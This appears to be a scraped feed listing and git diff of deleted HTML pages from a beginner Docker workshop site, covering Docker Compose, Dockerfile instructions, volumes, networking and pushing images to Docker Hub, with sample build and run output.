Stopped 0.1s ⠿ Container example-voting-app-redis-1 Stopped 0.2s ➜ example-voting-app git:(main) docker compose rm ? Going to remove example-voting-app-vote-1, example-voting-app-result-1, example-voting-app-worker-1, example-voting-app-db-1, example-voting-app-redis-1 Yes [+] Running 5/0 ⠿ Container example-voting-app-redis-1 Removed 0.0s ⠿ Container example-voting-app-vote-1 Removed 0.0s ⠿ Container example-voting-app-result-1 Removed 0. - - - Docker Compose CLI - run Command - https://kubedaily.com/docker/docker-compose-cli-run-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-run-command/ - ➜ example-voting-app git:(main) docker compose run db PostgreSQL Database directory appears to contain a database; Skipping initialization 2023-03-04 19:16:58.496 UTC [1] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit 2023-03-04 19:16:58.496 UTC [1] LOG: listening on IPv4 address &#34;0.0.0.0&#34;, port 5432 2023-03-04 19:16:58.496 UTC [1] LOG: listening on IPv6 address &#34;::&#34;, port 5432 2023-03-04 19:16:58.498 UTC [1] LOG: listening on Unix socket &#34;/var/run/postgresql/.s.PGSQL.5432&#34; 2023-03-04 19:16:58. - - - Docker Compose with Volume Mount - https://kubedaily.com/docker/docker-compose-with-volume-mount/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-with-volume-mount/ - Lets build docker compose file version: &#39;3&#39; services: phpapp: image: php:7.2-apache ports: - &#34;8080:80&#34; volumes: - &#34;./:/var/www/html&#34; above when we do docker compose up it will start apache with php 7.2 it will mount corrent directory to /var/www/html also it mount port 80 of the container to port 8080 on the host -create index.php with following content &lt;?php echo &#34;hello world \n\n&#34;; run with docker compose 2-DC-Vol-Mount git:(main) ✗ docker compose up [+] Running 15/15 ⠿ phpapp Pulled 13. - - - Docker Hello World Example - https://kubedaily.com/docker/docker-hello-world-example/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-hello-world-example/ - run your first hello world example docker run hello-world is a command that runs a simple Docker container to verify that Docker is correctly installed on your system and working as expected. -When you run this command, Docker will first check if the &ldquo;hello-world&rdquo; image is available locally. If the image is not found, Docker will download it from the Docker Hub registry. -Once the &ldquo;hello-world&rdquo; image is available, Docker will create a container from the image and run it. - - - Docker Image Filtering - https://kubedaily.com/docker/docker-image-filtering/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-image-filtering/ - running docker run alpine command would download the Alpine Linux image from Docker Hub and start a new container based on that image. You can then use the container to run commands or applications. When you exit the container, it will stop running. -Alpine Linux is a lightweight Linux distribution that is commonly used in Docker containers due to its small size and security features. -dockerworkshop git:(main) ✗ docker pull alpine:3. - - - Docker Wordpress Example - https://kubedaily.com/docker/docker-wordpress-example/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-wordpress-example/ - create wordpress docker compose wordpress: image: wordpress links: - mariadb:mysql environment: - WORDPRESS_DB_PASSWORD=password - WORDPRESS_DB_USER=root ports: - &#34;public_ip:80:80&#34; volumes: - ./html:/var/www/html mariadb: image: mariadb environment: - MYSQL_ROOT_PASSWORD=password - MYSQL_DATABASE=wordpress volumes: - ./database:/var/lib/mysql run docker compose docker compose up - - - Dockerfile Lab - ADD instruction - https://kubedaily.com/docker/dockerfile-lab-add-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-add-instruction/ - Here&rsquo;s an example of a Dockerfile that uses the ADD instruction to copy a local file into a Docker image: -FROM ubuntu:latest WORKDIR /app ADD example.txt /app/ CMD [&#34;cat&#34;, &#34;/app/example.txt&#34;] Build Dockerfile Dockerfile git:(main) ✗ docker build -t sangam14/add-dockerfile -f dockerfile.add . [+] Building 5.2s (9/9) FINISHED =&gt; [internal] load build definition from dockerfile.add 0.0s =&gt; =&gt; transferring dockerfile: 131B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0. - - - Dockerfile Lab - ARG instruction - https://kubedaily.com/docker/dockerfile-lab-arg-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-arg-instruction/ - FROM alpine ENV key1=&#34;ENV is stronger than an ARG&#34; RUN echo ${key1} ARG key1=&#34;not going to matter&#34; RUN echo ${key1} RUN echo ${key2} ARG key2=&#34;defaultValue&#34; RUN echo ${key2} ENV key2=&#34;ENV value takes over&#34; RUN echo ${key2} CMD [&#34;sh&#34;] Build Dockerfile Dockerfile git:(main) ✗ docker build -t sangam14/arg-dockerfile -f dockerfile.arg . [+] Building 3.5s (11/11) FINISHED =&gt; [internal] load build definition from dockerfile.arg 0.0s =&gt; =&gt; transferring dockerfile: 336B 0.0s =&gt; [internal] load . - - - Dockerfile Lab - CMD instruction - https://kubedaily.com/docker/dockerfile-lab-cmd-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-cmd-instruction/ - The CMD command we saw earlier followed the Shell syntax: -CMD executable parameter1 parameter2 However, it is better practice to use the JSON array format: -CMD [&#34;executable&#34;, &#34;parameter1&#34;, &#34;parameter2&#34;] A CMD command can be overridden by providing the executable and its parameters in the docker ​run command. For example: -FROM ubuntu RUN apt-get update CMD [&#34;echo&#34; , &#34;Join CloudNativeFolks Community&#34;] build dockerfile docker build -t sangam14/cmd-dockerfile -f dockerfile.cmd . [+] Building 8. - - - Dockerfile Lab - COPY instruction - https://kubedaily.com/docker/dockerfile-lab-copy-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-copy-instruction/ - COPY is a dockerfile command that copies files from a local source location to a destination in the Docker container. A Dockerfile is a text file with instructions to set up a Docker container. -create myfile1.txt and myfile2.txt with following content : -# myfile1.txt Hello This is my first file ! This is file will be copied in /usr/share directory from Docker host to Docker Container. # myfile2.txt Hello This is my second file ! - - - Dockerfile Lab - Entrypoint instruction - https://kubedaily.com/docker/dockerfile-lab-entrypoint-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-entrypoint-instruction/ - Running a Docker Container with ENTRYPOINT Let&rsquo;s learn the details in this case by actually executing ENTRYPOINT in exec form. The following is an example of a Dockerfile that uses the exec form of ENTRYPOINT, which outputs a character string on the command line. -FROM alpine ENTRYPOINT [&#34;echo&#34;, &#34;Hello!&#34;] Build dockerfile ➜ Dockerfile git:(main) ✗ docker build -t sangam14/entrypoint-dockerfile -f dockerfile.entrypoint . [+] Building 3.2s (6/6) FINISHED =&gt; [internal] load build definition from dockerfile. - - - Dockerfile Lab - ENV instruction - https://kubedaily.com/docker/dockerfile-lab-env-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-env-instruction/ - cat dockerfile -FROM alpine ENV appDescription This app is a sample of using ENV instructions ENV appName=env-demo ENV note1=&#34;The First Note First&#34; note2=The\ Second\ Note\ Second \ note3=&#34;The Third Note Third&#34; ENV changeMe=&#34;Old Value&#34; CMD [&#34;sh&#34;] build dockerfile ➜ Dockerfile git:(main) ✗ docker build -t sangam14/env-dockerfile -f dockerfile.env . [+] Building 0.1s (5/5) FINISHED =&gt; [internal] load build definition from dockerfile.env 0.0s =&gt; =&gt; transferring dockerfile: 279B 0.0s =&gt; [internal] load . - - - Dockerfile Lab - HEALTHCHECK instruction - https://kubedaily.com/docker/dockerfile-lab-healthcheck-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-healthcheck-instruction/ - cat Dockerfile -FROM nginx build docker container docker build -t sangam14/healthcheck-dockerfile -f dockerfile.healthcheck . [+] Building 1.4s (6/6) FINISHED =&gt; [internal] load build definition from dockerfile.healthcheck 0.0s =&gt; =&gt; transferring dockerfile: 244B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0.0s =&gt; [internal] load metadata for docker.io/library/alpine:latest 0.0s =&gt; CACHED [1/2] FROM docker.io/library/alpine 0.0s =&gt; [2/2] RUN apk add curl 1.3s =&gt; exporting to image 0.0s =&gt; =&gt; exporting layers 0. - - - Dockerfile Lab - ONBUILD instruction - https://kubedaily.com/docker/dockerfile-lab-onbuild-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-onbuild-instruction/ - The ONBUILD instruction The ONBUILD instruction is a trigger. It sets instructions that will be executed when another image is built from the image being build. -This is useful for building images which will be used as a base to build other images. -ONBUILD COPY . /src You can&rsquo;t chain ONBUILD instructions with ONBUILD. ONBUILD can&rsquo;t be used to trigger FROM instructions. -FROM nginx:1.16-alpine WORKDIR /usr/share/nginx/html ONBUILD COPY index.html . build dockerfile docker build -t sangam14/onbuild-dockerfile -f dockerfile. - - - Dockerfile Lab - RUN instruction - https://kubedaily.com/docker/dockerfile-lab-run-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-run-instruction/ - The RUN command is the central executing directive for Dockerfiles. It takes a command as its argument and runs it to form the image. Unlike CMD, it actually is used to build the image (forming another layer on top of the previous one which is committed). -create dockerfile with following content FROM ubuntu RUN id RUN useradd --create-home -m -s /bin/bash dev # Add a fun prompt for dev user of my-app # whale: &#34;\xF0\x9F\x90\xB3&#34; # alien:&#34;\xF0\x9F\x91\xBD&#34; # fish:&#34;\xF0\x9F\x90\xA0&#34; # elephant:&#34;\xF0\x9F\x91\xBD&#34; # moneybag:&#34;\xF0\x9F\x92\xB0&#34; RUN echo &#39;PS1=&#34;\[$(tput bold)$(tput setaf 4)\]my-app $(echo -e &#34;\xF0\x9F\x90\xB3&#34;) \[$(tput sgr0)\] [\\u@\\h]:\\W \\$ &#34;&#39; &gt;&gt; /home/dev/. - - - Dockerfile Lab - USER instruction - https://kubedaily.com/docker/dockerfile-lab-user-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-user-instruction/ - cat dockerfile.user -FROM alpine USER dockerworkshop:dockerworkshop CMD [&#34;sh&#34;] build dockerfile docker build -t sangam14/user-dockerfile -f dockerfile.user . [+] Building 0.1s (5/5) FINISHED =&gt; [internal] load build definition from dockerfile.user 0.0s =&gt; =&gt; transferring dockerfile: 105B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0.0s =&gt; [internal] load metadata for docker.io/library/alpine:latest 0.0s =&gt; CACHED [1/1] FROM docker.io/library/alpine 0.0s =&gt; exporting to image 0.0s =&gt; =&gt; exporting layers 0.0s =&gt; =&gt; writing image sha256:48482459d09aecafaa0db190d6995b6d2339c0383c6cd97fafbea288124332c7 0. - - - Dockerfile Lab - Volume instruction - https://kubedaily.com/docker/dockerfile-lab-volume-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-volume-instruction/ - cat dockerfile.vol -FROM alpine RUN mkdir /myvol RUN echo &#34;hello world&#34; &gt; /myvol/greeting VOLUME /myvol CMD [&#34;sh&#34;] Build above dockerfile docker build -t sangam14/vol-dockerfile -f dockerfile.vol . [+] Building 0.4s (7/7) FINISHED =&gt; [internal] load build definition from dockerfile.vol 0.0s =&gt; =&gt; transferring dockerfile: 140B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0.0s =&gt; [internal] load metadata for docker.io/library/alpine:latest 0.0s =&gt; CACHED [1/3] FROM docker.io/library/alpine 0.0s =&gt; [2/3] RUN mkdir /myvol 0. - - - Dockerfile Lab - WORKDIR instruction - https://kubedaily.com/docker/dockerfile-lab-workdir-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-workdir-instruction/ - The WORKDIR command is used to define the working directory of a Docker container at any given time. The command is specified in the Dockerfile. -Any RUN, CMD, ADD, COPY, or ENTRYPOINT command will be executed in the specified working directory. -WORKDIR instruction Dockerfile for Docker Quick Start FROM ubuntu WORKDIR /var/www/html RUN apt-get update &amp;&amp; apt-get install -y nginx COPY index.html . ENTRYPOINT [&#34;nginx&#34;, &#34;-g&#34;, &#34;daemon off;&#34;] build dockerfile docker build -t sangam14/workdir-dockerfile -f dockerfile. - - - Host Volume Mount - Data persistentence - https://kubedaily.com/docker/host-volume-mount-data-persistentence/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/host-volume-mount-data-persistentence/ - we already used database with web app but docker containers are ephermal. this means they are losing data once removed or re-started so somewhere need to find data persistent -create docker-compose.yml using following content -version: &#39;3&#39; services: db: image: mysql:latest restart: always container_name: myphpapp-db environment: MYSQL_ROOT_PASSWORD: somepass MYSQL_DATABASE: somedatabase dbclient: image: mysql:latest depends_on: - db command: mysql -uroot -psomepass -hdb MYSQL_DATABASE will create an empty database with the name &ldquo;somedatabase&rdquo; at first - - - Images and Container As Tar file - https://kubedaily.com/docker/images-and-container-as-tar-file/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/images-and-container-as-tar-file/ - Images and Container as Tarfile Docker provides the ability to save images and containers as tar files, which can be useful for sharing with others or transferring between systems. Here&rsquo;s how to do it: -docker pull nginx:latest latest: Pulling from library/nginx 5731adb3a4ab: Pull complete 8785c8f663d3: Pull complete 023b6bd393e4: Pull complete fd8f86b165b0: Pull complete 8f41e7c12976: Pull complete 3b5338ea7d08: Pull complete Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8 Status: Downloaded newer image for nginx:latest docker.io/library/nginx:latest Saving an Image as a Tar File To save a Docker image as a tar file, use the docker save command with the image name and output file name: - - - Named Volume Mount - Data persistentence - https://kubedaily.com/docker/named-volume-mount-data-persistentence/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/named-volume-mount-data-persistentence/ - create volume 6-DC-name-volume git:(main) ✗ docker volume create --name my-vol my-vol create docker-compose.yml with following content version: &#39;3.7&#39; services: db: image: mysql:latest restart: always container_name: myphpapp-db environment: MYSQL_ROOT_PASSWORD: somepass MYSQL_DATABASE: somedatabase volumes: - my-vol:/var/lib/mysql volumes: my-vol: name: my-vol run docker compose docker compose up -d WARN[0000] volume &#34;my-vol&#34; already exists but was not created by Docker Compose. Use `external: true` to use an existing volume [+] Running 1/1 ⠿ Container myphpapp-db Started 0. - - - Newtorking in Docker Compose - https://kubedaily.com/docker/newtorking-in-docker-compose/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/newtorking-in-docker-compose/ - creating and using networks in docker-compose.yml version: &#34;3.7&#34; services: app1: image: httpd:latest container_name: app1 ports: - 8080:80 networks: - app1_net networks: app1_net: run docker compose up docker-compose up Open browser http://localhost:8080 Observe the output -On a second terminal docker ps Observe the networking part! docker inspect app1 Stops the docker-compose docker-compose rm - - - Newtorking in Docker Compose with ngnix - https://kubedaily.com/docker/newtorking-in-docker-compose-with-ngnix/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/newtorking-in-docker-compose-with-ngnix/ - create docker-compose.yml with following content : -version: &#34;3.7&#34; services: web: image: nginx:alpine volumes: - ./nginx.conf:/etc/nginx/nginx.conf ports: - 8080:80 networks: - app1_net - app2_net app1: image: httpd:latest networks: - app1_net app2: image: httpd:latest networks: - app2_net networks: app1_net: app2_net: the following nginx.conf configuration file in the same directory: events {} http { server { listen 80; listen [::]:80; server_name example.com; location / { proxy_pass http://app1:80/; } location /app2 { proxy_pass http://app2:80/; } } } run docker compose docker compose up Go to http://localhost:8080 and observer the command line • It will show you the nignx-container web_1 container (reverse_proxy) was requested • And forwarded the request to “app1” container • Reload a few times to make this more obvious Go to http://localhost:8080/app2 and observe the command line • It will show you again that nginx-container web_1 container (reverse_proxy) was requested • And now forwards to “app2” container • Reload a few times to make this more obvious - - - Overview - https://kubedaily.com/docker/overview/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/overview/ - Table of Content Title Link 1.Pre-requisit for this lab Lab 2.Docker Hello World Example Lab 3.Docker Image Filtering 4.Images and Container As Tar file Lab 5.Push first Nginx Web app To DockerHub Lab 6.Build a Base Image from Scratch Lab 7.Dockerfile Lab - ADD instruction Lab 8.Dockerfile Lab - COPY instruction Lab 9.Dockerfile Lab - CMD instruction Lab 10.Dockerfile Lab - Entrypoint instruction Lab 11.Dockerfile Lab - WORKDIR instruction Lab 12. - - - Pre-requisit for this lab - https://kubedaily.com/docker/pre-requisit-for-this-lab/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/pre-requisit-for-this-lab/ - Here are the steps to create a Docker Hub account: -Go to https://hub.docker.com/signup and click on the &ldquo;Sign Up&rdquo; button. Fill out the registration form with your name, email address, and password. Agree to the terms of service and privacy policy by checking the box. Click on the &ldquo;Sign Up&rdquo; button to complete the registration process. You will receive a verification email from Docker Hub. Follow the link in the email to verify your email address. - - - Push first Nginx Web app To DockerHub - https://kubedaily.com/docker/push-first-nginx-web-app-to-dockerhub/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/push-first-nginx-web-app-to-dockerhub/ - Pull nginx image from dockerhub using dockerworkshop git:(main) ✗ docker pull nginx Using default tag: latest latest: Pulling from library/nginx Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8 Status: Image is up to date for nginx:latest docker.io/library/nginx:latest Run Docker with ngnix dockerworkshop git:(main) ✗ docker run --name docker-nginx -p 80:80 -d nginx 63258aebdc2d8ea40a0099efb3e51f8b15db2fe2dc048da3901843b4782d19fb –name docker-nginx : Name given to the container that is run is docker-nginx-p 80:80 : the port we are exposing and mapping from local machine port number to that of container, in the format local_machine_port:container_port-d : Detached mode – Runs the container in background - - - Running multiple docker containers from CLI - https://kubedaily.com/docker/running-multiple-docker-containers-from-cli/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/running-multiple-docker-containers-from-cli/ - We will create two containers (linux1, linux2) based on the same image (ubuntu) docker run -it -d --rm --name linux1 ubuntu /bin/bash additional flags: -dstarts the container as “detached”. Use “docker attach” to attach to it later on. --rm cleans up the container after stopping. The container will be removed, basically the same as “docker rm container_identifier” after stopping the container. So everything is kept tidy. --name will give the container a dedicated name, which makes it easier to address the container later on. - - - Setup local network - https://kubedaily.com/docker/setup-local-network/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/setup-local-network/ - Docker network create command syntax docker network create --help view current networks docker network ls clear Create a new overlay network, with all default options docker network create -d overlay defaults-over Create a new overlay network with specific IP settings docker network create -d overlay \ --subnet=172.30.0.0/24 \ --ip-range=172.30.0.0/28 \ --gateway=172.30.0.254 \ specifics-over view current networks again docker network ls Initial validation docker network inspect specifics-over --format &#39;{{json .IPAM.Config}}&#39; | jq clear - - - Setup Remote network - https://kubedaily.com/docker/setup-remote-network/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/setup-remote-network/ - Docker network managment command docker network --help clear Starting on ubuntu-node01: Install and setup the weave driver sudo curl -L git.io/weave -o /usr/local/bin/weave sudo chmod a+x /usr/local/bin/weave export CHECKPOINT_DISABLE=1 weave launch eval $(weave env) clear -Now on ubuntu-node02: Install and setup the weave driver sudo curl -L git.io/weave -o /usr/local/bin/weave sudo chmod a+x /usr/local/bin/weave export CHECKPOINT_DISABLE=1 weave launch eval $(weave env) clear -Now, back on ubuntu-node01:Bring node02 in as a peer on node01&rsquo;s weave network weave connect ubuntu-node02 Starting with ubuntu-node01:Run a container detached on node01 docker container run -d --name app01 alpine tail -f /dev/null Now, launch a container on ubuntu-node02: Run a container detached on node02 docker container run -d --name app02 alpine tail -f /dev/null Since we are on node02, we will check there first&hellip; From inside the app02 container running on node02, let&rsquo;s ping the app01 container running on node01 docker container exec -it app02 ping -c 4 app01 Similarly, from inside the app01 container running on node01, let&rsquo;s ping the app02 container running on node02 docker container exec -it app01 ping -c 4 app02 clear - - - Simple php apache and database using docker compose - https://kubedaily.com/docker/simple-php-apache-and-database-using-docker-compose/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/simple-php-apache-and-database-using-docker-compose/ - we will see detach form logs upon start and user multiservices in one docker container -version: &#39;3&#39; services: phpapp: build: context: ./ dockerfile: Dockerfile image: phpapp:123 ports: - &#34;8080:80&#34; volumes: - &#34;./:/var/www/html&#34; container_name: myphpapp-app db: image: mysql:5.7 restart: always environment: MYSQL_ROOT_PASSWORD: my!!!root!!!pw container_name: myphpapp-db here you see two services phpapp and myphpapp-app and image called phpapp with 123 tag -another service called db form mysql this container restarts always which means it crashes ? - - - Write First Docker Compose file - https://kubedaily.com/docker/write-first-docker-compose-file/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/write-first-docker-compose-file/ - cat Dockerfile -FROM php:7.2-apache COPY index.php /var/www/html add index.php file -&lt;?php echo &#34;hello world \n\n&#34;; creat docker-compose.yaml -version: &#39;3&#39; services: phpapp: ports: - &#34;8080:80&#34; build: context: ./ dockerfile: Dockerfile to run docker compose -docker compose up --build output -1-DC git:(main) ✗ docker compose up [+] Building 21.2s (10/10) FINISHED =&gt; [internal] booting buildkit 3.8s =&gt; =&gt; pulling image moby/buildkit:buildx-stable-1 2.8s =&gt; =&gt; creating container buildx_buildkit_great_brahmagupta0 1.1s =&gt; [internal] load build definition from Dockerfile 0. - - - diff --git a/public/docker/named-volume-mount-data-persistentence/index.html b/public/docker/named-volume-mount-data-persistentence/index.html deleted file mode 100644 index 21943ba..0000000 --- a/public/docker/named-volume-mount-data-persistentence/index.html +++ /dev/null @@ -1,960 +0,0 @@ - - - - - - - - -Named Volume Mount - Data persistentence · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Named Volume Mount - Data persistentence

-
-
- - -

create volume

-
 6-DC-name-volume git:(main) ✗ docker volume create --name my-vol 
-my-vol
-

create docker-compose.yml with following content

-
version: '3.7'
-
-services:
-  db:
-    image: mysql:latest
-    restart: always
-    container_name: myphpapp-db
-    environment:
-       MYSQL_ROOT_PASSWORD: somepass
-       MYSQL_DATABASE: somedatabase
-    volumes:
-      - my-vol:/var/lib/mysql
-
-volumes:
-  my-vol:
-    name: my-vol
-

run docker compose

-

-docker compose up -d 
-WARN[0000] volume "my-vol" already exists but was not created by Docker Compose. Use `external: true` to use an existing volume 
-[+] Running 1/1
- ⠿ Container myphpapp-db  Started                                                                         0.3s
-➜  6-DC-name-volume git:(main) ✗ 
-

start new container with ubuntu

-
docker run -v my-vol:/mydata --rm -it ubuntu /bin/bash
-

show the database data files

-
root@1666e5d6f315:/# cd mydata/
-root@1666e5d6f315:/mydata# ls
-'#ib_16384_0.dblwr'   binlog.000001   client-cert.pem   mysql                public_key.pem    undo_001
-'#ib_16384_1.dblwr'   binlog.000002   client-key.pem    mysql.ibd            server-cert.pem   undo_002
-'#innodb_redo'        binlog.index    ib_buffer_pool    mysql.sock           server-key.pem
-'#innodb_temp'        ca-key.pem      ibdata1           performance_schema   somedatabase
- auto.cnf             ca.pem          ibtmp1            private_key.pem      sys
-root@1666e5d6f315:/mydata# 
-root@1666e5d6f315:/mydata# exit 
-exit
-

share data between two containers? lets try ?

-
6-DC-name-volume git:(main) ✗ docker volume create --name Datastore1
-Datastore1
-

open a shell woth datastore1 in /mydatabase

-
docker run -v Datastore1:/mydatastore --rm -it ubuntu /bin/bash
-

write a new text file

-
echo "hello datastore1" > /mydatastore/hello.txt
-root@4b119677c00b:/# ls
-bin  boot  dev  etc  home  lib  media  mnt  mydatastore  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
-root@4b119677c00b:/# cat  mydatastore/hello.txt 
-hello datastore1
-root@4b119677c00b:/# 
-

add another line

-
root@4b119677c00b:/# echo "\n\nhello datastore 2" >> /mydatastore/hello.txt
-root@4b119677c00b:/# cat  mydatastore/hello.txt 
-hello datastore1
-\n\nhello datastore 2
-root@4b119677c00b:/# 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/newtorking-in-docker-compose-with-ngnix/index.html b/public/docker/newtorking-in-docker-compose-with-ngnix/index.html deleted file mode 100644 index 1b21c89..0000000 --- a/public/docker/newtorking-in-docker-compose-with-ngnix/index.html +++ /dev/null @@ -1,1135 +0,0 @@ - - - - - - - - -Newtorking in Docker Compose with ngnix · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Newtorking in Docker Compose with ngnix

-
-
- - -

create docker-compose.yml with following content :

-
version: "3.7"
-
-services:
-  web:
-    image: nginx:alpine
-    volumes:
-      - ./nginx.conf:/etc/nginx/nginx.conf
-    ports:
-      - 8080:80
-    networks:
-      - app1_net
-      - app2_net
-
-  app1:
-    image: httpd:latest
-    networks:
-      - app1_net
-
-  app2:
-    image: httpd:latest
-    networks:
-      - app2_net
-
-networks:
-  app1_net:
-  app2_net:
-

the following nginx.conf configuration file in the same directory:

-

-events {}
-http {
-    server {
-    listen 80;
-    listen [::]:80;
-
-    server_name example.com;
-
-    location / {
-        proxy_pass http://app1:80/;
-    }
-    location /app2 {
-        proxy_pass http://app2:80/;
-    }
-  }
-}
-

run docker compose

-

-docker compose up 
-

Go to http://localhost:8080 and observer the command line

-

• It will show you the nignx-container web_1 container (reverse_proxy) was requested -• And forwarded the request to “app1” container -• Reload a few times to make this more obvious

-

Go to http://localhost:8080/app2 and observe the command line

-

• It will show you again that nginx-container web_1 container (reverse_proxy) was requested -• And now forwards to “app2” container -• Reload a few times to make this more obvious

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/newtorking-in-docker-compose/index.html b/public/docker/newtorking-in-docker-compose/index.html deleted file mode 100644 index 90fcfd8..0000000 --- a/public/docker/newtorking-in-docker-compose/index.html +++ /dev/null @@ -1,1096 +0,0 @@ - - - - - - - - -Newtorking in Docker Compose · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Newtorking in Docker Compose

-
-
- - -

creating and using networks in docker-compose.yml

-
version: "3.7"
-services:
-  app1:
-    image: httpd:latest
-    container_name: app1
-    ports:
-     - 8080:80
-    networks:
-      - app1_net
-networks:
-  app1_net:
-

run docker compose up

-
docker-compose up
-

Open browser

-
http://localhost:8080
-

Observe the output

-

On a second terminal

-
docker ps
-

Observe the networking part!

-
docker inspect app1
-

Stops the docker-compose

-
docker-compose rm
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/overview/index.html b/public/docker/overview/index.html deleted file mode 100644 index 1ff0311..0000000 --- a/public/docker/overview/index.html +++ /dev/null @@ -1,917 +0,0 @@ - - - - - - - - -Overview · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Overview

-
-
- - -

Table of Content

